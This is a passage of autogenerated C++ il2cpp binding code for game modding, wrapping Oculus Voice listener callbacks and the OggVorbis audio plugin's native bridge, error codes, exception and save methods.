::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, transcription);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onFullTranscription
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onFullTranscription(::StringW transcription) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onFullTranscription");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onFullTranscription", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(transcription)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, transcription);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OggVorbis.NativeBridge
#include "OggVorbis/NativeBridge.hpp"
// Including type: System.String
#include "System/String.hpp"
// Including type: System.IntPtr
#include "System/IntPtr.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static private System.String PLUGIN_NAME
::StringW OggVorbis::NativeBridge::_get_PLUGIN_NAME() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::_get_PLUGIN_NAME");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::StringW>("OggVorbis", "NativeBridge", "PLUGIN_NAME"));
}
// Autogenerated static field setter
// Set static field: static private System.String PLUGIN_NAME
void OggVorbis::NativeBridge::_set_PLUGIN_NAME(::StringW value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::_set_PLUGIN_NAME");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeBridge", "PLUGIN_NAME", value));
}
// Autogenerated method: OggVorbis.NativeBridge.WriteAllPcmDataToFile
int OggVorbis::NativeBridge::WriteAllPcmDataToFile(::StringW filePath, ::ArrayW<float> samples, int samplesLength, int16_t channels, int frequency, float base_quality, int samplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::WriteAllPcmDataToFile");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeBridge", "WriteAllPcmDataToFile", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(filePath), ::il2cpp_utils::ExtractType(samples), ::il2cpp_utils::ExtractType(samplesLength), ::il2cpp_utils::ExtractType(channels), ::il2cpp_utils::ExtractType(frequency), ::il2cpp_utils::ExtractType(base_quality), ::il2cpp_utils::ExtractType(samplesToRead)})));
return ::il2cpp_utils::RunMethodRethrow<int, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, filePath, samples, samplesLength, channels, frequency, base_quality, samplesToRead);
}
// Autogenerated method: OggVorbis.NativeBridge.WriteAllPcmDataToMemory
int OggVorbis::NativeBridge::WriteAllPcmDataToMemory(ByRef<::System::IntPtr> bytesPtr, ByRef<int> bytesLength, ::ArrayW<float> samples, int samplesLength, int16_t channels, int frequency, float base_quality, int samplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::WriteAllPcmDataToMemory");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeBridge", "WriteAllPcmDataToMemory", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractIndependentType<::System::IntPtr&>(), ::il2cpp_utils::ExtractIndependentType<int&>(), ::il2cpp_utils::ExtractType(samples), ::il2cpp_utils::ExtractType(samplesLength), ::il2cpp_utils::ExtractType(channels), ::il2cpp_utils::ExtractType(frequency), ::il2cpp_utils::ExtractType(base_quality), ::il2cpp_utils::ExtractType(samplesToRead)})));
return ::il2cpp_utils::RunMethodRethrow<int, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, byref(bytesPtr), byref(bytesLength), samples, samplesLength, channels, frequency, base_quality, samplesToRead);
}
// Autogenerated method: OggVorbis.NativeBridge.FreeMemoryArrayForWriteAllPcmData
int OggVorbis::NativeBridge::FreeMemoryArrayForWriteAllPcmData(::System::IntPtr bytesNativeArray) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::FreeMemoryArrayForWriteAllPcmData");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeBridge", "FreeMemoryArrayForWriteAllPcmData", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(bytesNativeArray)})));
return ::il2cpp_utils::RunMethodRethrow<int, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, bytesNativeArray);
}
// Autogenerated method: OggVorbis.NativeBridge.ReadAllPcmDataFromFile
int OggVorbis::NativeBridge::ReadAllPcmDataFromFile(::StringW filePath, ByRef<::System::IntPtr> samples, ByRef<int> samplesLength, ByRef<int16_t> channels, ByRef<int> frequency, int maxSamplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::ReadAllPcmDataFromFile");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeBridge", "ReadAllPcmDataFromFile", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(filePath), ::il2cpp_utils::ExtractIndependentType<::System::IntPtr&>(), ::il2cpp_utils::ExtractIndependentType<int&>(), ::il2cpp_utils::ExtractIndependentType<int16_t&>(), ::il2cpp_utils::ExtractIndependentType<int&>(), ::il2cpp_utils::ExtractType(maxSamplesToRead)})));
return ::il2cpp_utils::RunMethodRethrow<int, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, filePath, byref(samples), byref(samplesLength), byref(channels), byref(frequency), maxSamplesToRead);
}
// Autogenerated method: OggVorbis.NativeBridge.ReadAllPcmDataFromMemory
int OggVorbis::NativeBridge::ReadAllPcmDataFromMemory(::ArrayW<uint8_t> memoryArray, int memoryArrayLength, ByRef<::System::IntPtr> samples, ByRef<int> samplesLength, ByRef<int16_t> channels, ByRef<int> frequency, int maxSamplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::ReadAllPcmDataFromMemory");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeBridge", "ReadAllPcmDataFromMemory", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(memoryArray), ::il2cpp_utils::ExtractType(memoryArrayLength), ::il2cpp_utils::ExtractIndependentType<::System::IntPtr&>(), ::il2cpp_utils::ExtractIndependentType<int&>(), ::il2cpp_utils::ExtractIndependentType<int16_t&>(), ::il2cpp_utils::ExtractIndependentType<int&>(), ::il2cpp_utils::ExtractType(maxSamplesToRead)})));
return ::il2cpp_utils::RunMethodRethrow<int, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, memoryArray, memoryArrayLength, byref(samples), byref(samplesLength), byref(channels), byref(frequency), maxSamplesToRead);
}
// Autogenerated method: OggVorbis.NativeBridge.FreeSamplesArrayNativeMemory
int OggVorbis::NativeBridge::FreeSamplesArrayNativeMemory(ByRef<::System::IntPtr> samples) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::FreeSamplesArrayNativeMemory");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeBridge", "FreeSamplesArrayNativeMemory", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(samples)})));
return ::il2cpp_utils::RunMethodRethrow<int, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, byref(samples));
}
// Autogenerated method: OggVorbis.NativeBridge.OpenReadFileStream
::System::IntPtr OggVorbis::NativeBridge::OpenReadFileStream(::StringW filePath, ByRef<int16_t> channels, ByRef<int> frequency) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::OpenReadFileStream");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeBridge", "OpenReadFileStream", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(filePath), ::il2cpp_utils::ExtractIndependentType<int16_t&>(), ::il2cpp_utils::ExtractIndependentType<int&>()})));
return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, filePath, byref(channels), byref(frequency));
}
// Autogenerated method: OggVorbis.NativeBridge.ReadFromFileStream
int OggVorbis::NativeBridge::ReadFromFileStream(::System::IntPtr state, ::ArrayW<float> samplesToFill, int maxSamplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::ReadFromFileStream");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeBridge", "ReadFromFileStream", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(state), ::il2cpp_utils::ExtractType(samplesToFill), ::il2cpp_utils::ExtractType(maxSamplesToRead)})));
return ::il2cpp_utils::RunMethodRethrow<int, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, state, samplesToFill, maxSamplesToRead);
}
// Autogenerated method: OggVorbis.NativeBridge.CloseFileStream
int OggVorbis::NativeBridge::CloseFileStream(::System::IntPtr state) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeBridge::CloseFileStream");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeBridge", "CloseFileStream", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(state)})));
return ::il2cpp_utils::RunMethodRethrow<int, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, state);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OggVorbis.NativeErrorCode
#include "OggVorbis/NativeErrorCode.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_FILEPATH_PARAMETER
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_INVALID_FILEPATH_PARAMETER() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_INVALID_FILEPATH_PARAMETER");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_INVALID_FILEPATH_PARAMETER"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_FILEPATH_PARAMETER
void OggVorbis::NativeErrorCode::_set_ERROR_INVALID_FILEPATH_PARAMETER(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_INVALID_FILEPATH_PARAMETER");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_INVALID_FILEPATH_PARAMETER", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_CANNOT_OPEN_FILE_FOR_WRITE
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_CANNOT_OPEN_FILE_FOR_WRITE() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_CANNOT_OPEN_FILE_FOR_WRITE");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_CANNOT_OPEN_FILE_FOR_WRITE"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_CANNOT_OPEN_FILE_FOR_WRITE
void OggVorbis::NativeErrorCode::_set_ERROR_CANNOT_OPEN_FILE_FOR_WRITE(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_CANNOT_OPEN_FILE_FOR_WRITE");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_CANNOT_OPEN_FILE_FOR_WRITE", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_CANNOT_OPEN_FILE_FOR_READ
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_CANNOT_OPEN_FILE_FOR_READ() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_CANNOT_OPEN_FILE_FOR_READ");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_CANNOT_OPEN_FILE_FOR_READ"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_CANNOT_OPEN_FILE_FOR_READ
void OggVorbis::NativeErrorCode::_set_ERROR_CANNOT_OPEN_FILE_FOR_READ(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_CANNOT_OPEN_FILE_FOR_READ");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_CANNOT_OPEN_FILE_FOR_READ", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_INPUT_FILESTREAM_IS_NOT_OGG_STREAM
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_INPUT_FILESTREAM_IS_NOT_OGG_STREAM() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_INPUT_FILESTREAM_IS_NOT_OGG_STREAM");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_INPUT_FILESTREAM_IS_NOT_OGG_STREAM"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_INPUT_FILESTREAM_IS_NOT_OGG_STREAM
void OggVorbis::NativeErrorCode::_set_ERROR_INPUT_FILESTREAM_IS_NOT_OGG_STREAM(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_INPUT_FILESTREAM_IS_NOT_OGG_STREAM");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_INPUT_FILESTREAM_IS_NOT_OGG_STREAM", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_READING_OGG_STREAM
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_READING_OGG_STREAM() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_READING_OGG_STREAM");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_READING_OGG_STREAM"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_READING_OGG_STREAM
void OggVorbis::NativeErrorCode::_set_ERROR_READING_OGG_STREAM(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_READING_OGG_STREAM");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_READING_OGG_STREAM", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_SAMPLES_PARAMETER
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_INVALID_SAMPLES_PARAMETER() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_INVALID_SAMPLES_PARAMETER");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_INVALID_SAMPLES_PARAMETER"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_SAMPLES_PARAMETER
void OggVorbis::NativeErrorCode::_set_ERROR_INVALID_SAMPLES_PARAMETER(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_INVALID_SAMPLES_PARAMETER");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_INVALID_SAMPLES_PARAMETER", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_SAMPLESLENGTH_PARAMETER
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_INVALID_SAMPLESLENGTH_PARAMETER() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_INVALID_SAMPLESLENGTH_PARAMETER");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_INVALID_SAMPLESLENGTH_PARAMETER"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_SAMPLESLENGTH_PARAMETER
void OggVorbis::NativeErrorCode::_set_ERROR_INVALID_SAMPLESLENGTH_PARAMETER(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_INVALID_SAMPLESLENGTH_PARAMETER");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_INVALID_SAMPLESLENGTH_PARAMETER", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_CHANNELS_PARAMETER
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_INVALID_CHANNELS_PARAMETER() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_INVALID_CHANNELS_PARAMETER");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_INVALID_CHANNELS_PARAMETER"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_CHANNELS_PARAMETER
void OggVorbis::NativeErrorCode::_set_ERROR_INVALID_CHANNELS_PARAMETER(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_INVALID_CHANNELS_PARAMETER");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_INVALID_CHANNELS_PARAMETER", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_FREQUENCY_PARAMETER
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_INVALID_FREQUENCY_PARAMETER() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_INVALID_FREQUENCY_PARAMETER");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_INVALID_FREQUENCY_PARAMETER"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_FREQUENCY_PARAMETER
void OggVorbis::NativeErrorCode::_set_ERROR_INVALID_FREQUENCY_PARAMETER(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_INVALID_FREQUENCY_PARAMETER");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_INVALID_FREQUENCY_PARAMETER", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_BASE_QUALITY_PARAMETER
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_INVALID_BASE_QUALITY_PARAMETER() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_INVALID_BASE_QUALITY_PARAMETER");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_INVALID_BASE_QUALITY_PARAMETER"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_BASE_QUALITY_PARAMETER
void OggVorbis::NativeErrorCode::_set_ERROR_INVALID_BASE_QUALITY_PARAMETER(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_INVALID_BASE_QUALITY_PARAMETER");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_INVALID_BASE_QUALITY_PARAMETER", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_MALLOC_RETURNED_NULL
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_MALLOC_RETURNED_NULL() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_MALLOC_RETURNED_NULL");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_MALLOC_RETURNED_NULL"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_MALLOC_RETURNED_NULL
void OggVorbis::NativeErrorCode::_set_ERROR_MALLOC_RETURNED_NULL(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_MALLOC_RETURNED_NULL");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_MALLOC_RETURNED_NULL", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_BYTES_MEMORY_ARRAY_NULL
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_BYTES_MEMORY_ARRAY_NULL() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_BYTES_MEMORY_ARRAY_NULL");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_BYTES_MEMORY_ARRAY_NULL"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_BYTES_MEMORY_ARRAY_NULL
void OggVorbis::NativeErrorCode::_set_ERROR_BYTES_MEMORY_ARRAY_NULL(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_BYTES_MEMORY_ARRAY_NULL");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_BYTES_MEMORY_ARRAY_NULL", value));
}
// Autogenerated static field getter
// Get static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_WRITE_CALLBACK_PARAMETER
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorCode::_get_ERROR_INVALID_WRITE_CALLBACK_PARAMETER() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_get_ERROR_INVALID_WRITE_CALLBACK_PARAMETER");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::OggVorbis::NativeErrorCode>("OggVorbis", "NativeErrorCode", "ERROR_INVALID_WRITE_CALLBACK_PARAMETER"));
}
// Autogenerated static field setter
// Set static field: static public OggVorbis.NativeErrorCode ERROR_INVALID_WRITE_CALLBACK_PARAMETER
void OggVorbis::NativeErrorCode::_set_ERROR_INVALID_WRITE_CALLBACK_PARAMETER(::OggVorbis::NativeErrorCode value) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::_set_ERROR_INVALID_WRITE_CALLBACK_PARAMETER");
THROW_UNLESS(il2cpp_utils::SetFieldValue("OggVorbis", "NativeErrorCode", "ERROR_INVALID_WRITE_CALLBACK_PARAMETER", value));
}
// Autogenerated instance field getter
// Get instance field: public System.Int32 value__
[[deprecated("Use field access instead!")]] int& OggVorbis::NativeErrorCode::dyn_value__() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorCode::dyn_value__");
auto ___internal__instance = *this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset;
return *reinterpret_cast<int*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OggVorbis.NativeErrorException
#include "OggVorbis/NativeErrorException.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated instance field getter
// Get instance field: private readonly OggVorbis.NativeErrorCode <NativeErrorCode>k__BackingField
[[deprecated("Use field access instead!")]] ::OggVorbis::NativeErrorCode& OggVorbis::NativeErrorException::dyn_$NativeErrorCode$k__BackingField() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorException::dyn_$NativeErrorCode$k__BackingField");
auto ___internal__instance = this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "<NativeErrorCode>k__BackingField"))->offset;
return *reinterpret_cast<::OggVorbis::NativeErrorCode*>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated method: OggVorbis.NativeErrorException.get_NativeErrorCode
::OggVorbis::NativeErrorCode OggVorbis::NativeErrorException::get_NativeErrorCode() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorException::get_NativeErrorCode");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_NativeErrorCode", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
return ::il2cpp_utils::RunMethodRethrow<::OggVorbis::NativeErrorCode, false>(this, ___internal__method);
}
// Autogenerated method: OggVorbis.NativeErrorException.ThrowExceptionIfNecessary
void OggVorbis::NativeErrorException::ThrowExceptionIfNecessary(int returnValue) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorException::ThrowExceptionIfNecessary");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "NativeErrorException", "ThrowExceptionIfNecessary", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(returnValue)})));
::il2cpp_utils::RunMethodRethrow<void, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, returnValue);
}
// Autogenerated method: OggVorbis.NativeErrorException.ToString
::StringW OggVorbis::NativeErrorException::ToString() {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::NativeErrorException::ToString");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::System::Exception*), 3));
return ::il2cpp_utils::RunMethodRethrow<::StringW, false>(this, ___internal__method);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: OggVorbis.VorbisPlugin
#include "OggVorbis/VorbisPlugin.hpp"
// Including type: UnityEngine.AudioClip
#include "UnityEngine/AudioClip.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated method: OggVorbis.VorbisPlugin.Save
void OggVorbis::VorbisPlugin::Save(::StringW filePath, ::UnityEngine::AudioClip* audioClip, float quality, int samplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::VorbisPlugin::Save");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "VorbisPlugin", "Save", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(filePath), ::il2cpp_utils::ExtractType(audioClip), ::il2cpp_utils::ExtractType(quality), ::il2cpp_utils::ExtractType(samplesToRead)})));
::il2cpp_utils::RunMethodRethrow<void, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, filePath, audioClip, quality, samplesToRead);
}
// Autogenerated method: OggVorbis.VorbisPlugin.Save
void OggVorbis::VorbisPlugin::Save(::StringW filePath, ::ArrayW<float> samples, int channels, int frequency, float quality, int samplesToRead) {
static auto ___internal__logger = ::Logger::get().WithContext("::OggVorbis::VorbisPlugin::Save");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("OggVorbis", "VorbisPlugin", "Save", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(filePath), ::il2cpp_utils::ExtractType(samples), ::il2cpp_utils::ExtractType(channels), ::il2cpp_utils::ExtractType(frequency), ::il2cpp_utils::ExtractType(quality), ::il2cpp_utils::ExtractType(samplesToRead)})));
::il2cpp_utils::RunMethodRethrow<void, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, filePath, samples, channels, frequency, quality, samplesToRead);
}
